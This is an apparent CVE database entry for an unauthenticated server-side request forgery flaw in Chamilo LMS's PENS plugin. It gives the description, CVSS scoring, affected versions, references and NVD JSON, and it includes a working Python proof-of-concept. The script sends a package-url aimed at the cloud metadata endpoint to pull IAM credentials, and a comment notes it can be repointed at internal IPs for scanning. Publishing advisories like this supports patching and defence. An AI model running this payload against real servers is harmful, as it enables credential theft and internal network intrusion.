CVE-2026-34160

Description

Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, the PENS (Package Exchange Notification Services) plugin endpoint at public/plugin/Pens/pens.php is accessible without authentication and accepts a user-controlled package-url parameter that the server fetches using curl without filtering private or internal IP addresses, enabling unauthenticated Server-Side Request Forgery (SSRF). An attacker can exploit this to probe internal network services, access cloud metadata endpoints (such as 169.254.169.254) to steal IAM credentials and sensitive instance metadata, or trigger state-changing operations on internal services via the receipt and alerts callback parameters. No authentication is required to exploit either SSRF vector, significantly increasing the attack surface. This issue has been fixed in version 2.0.0-RC.3.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:* - VULNERABLE

Chamilo LMS < 2.0.0-RC.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34160 (Chamilo LMS SSRF)
import requests

def check_ssrf(target_url):
    """
    Exploit the SSRF vulnerability in Chamilo LMS PENS plugin.
    """
    # The vulnerable endpoint
    endpoint = "/public/plugin/Pens/pens.php"
    full_url = f"{target_url}{endpoint}"
    
    # Malicious payload targeting internal metadata (common in cloud environments)
    # Change this to internal IPs (e.g., http://127.0.0.1:80) for internal scanning
    ssrf_payload = {
        "package-url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    }
    
    try:
        print(f"[*] Sending request to {full_url}...")
        response = requests.post(full_url, data=ssrf_payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check for DNS interaction or response content.")
            print("[+] Response body:")
            print(response.text)
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Replace with the actual target URL
    target = "http://example-chamilo-lms.com"
    check_ssrf(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34160
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34160
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34160/
[4] VulDB https://vuldb.com/cve/CVE-2026-34160
[5] https://github.com/chamilo/chamilo-lms/commit/de4058d76fac2413afd023b1ec942e8e79579011
[6] https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3
[7] https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g2xj-4cch-j276

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34160", "sourceIdentifier": "[email protected]", "published": "2026-04-14T21:16:26.227", "lastModified": "2026-04-23T14:56:57.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, the PENS (Package Exchange Notification Services) plugin endpoint at public/plugin/Pens/pens.php is accessible without authentication and accepts a user-controlled package-url parameter that the server fetches using curl without filtering private or internal IP addresses, enabling unauthenticated Server-Side Request Forgery (SSRF). An attacker can exploit this to probe internal network services, access cloud metadata endpoints (such as 169.254.169.254) to steal IAM credentials and sensitive instance metadata, or trigger state-changing operations on internal services via the receipt and alerts callback parameters. No authentication is required to exploit either SSRF vector, significantly increasing the attack surface. This issue has been fixed in version 2.0.0-RC.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.11.38", "matchCriteriaId": "34085140-9203-4B20-9036-743718F1A4F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "4AF7661F-C1F7-4CAB-BBDF-FC5BF7F5BEB8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "FE56AF71-9D53-42C6-980D-09E1C418ED87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "01195674-9E1A-4C07-B7D3-0F0CC2E6511B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "BAE63449-5A56-4302-A4BF-F3D19FC96A80"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "A84A06F9-5AB7-4703-8153-33AC68882B95"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "B91302A3-53DE-4ED0-BAAB-FE9DA03F8242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "46008D4A-96F7-4E04-8256-E115AAAE3383"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "6E2BCAFF-D44B-4E67-998A-DF855E27606B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "D2E7D018-E4C2-45F5-8D9A-DAC947173607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:chamilo:chamilo_lms:2.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "DAF96697-6B6D-459D-9510-E5CEEDC2859B"}]}]}], "references": [{"url": "https://github.com/chamilo/chamilo-lms/commit/de4058d76fac2413afd023b1ec942e8e79579011", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g2xj-4cch-j276", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}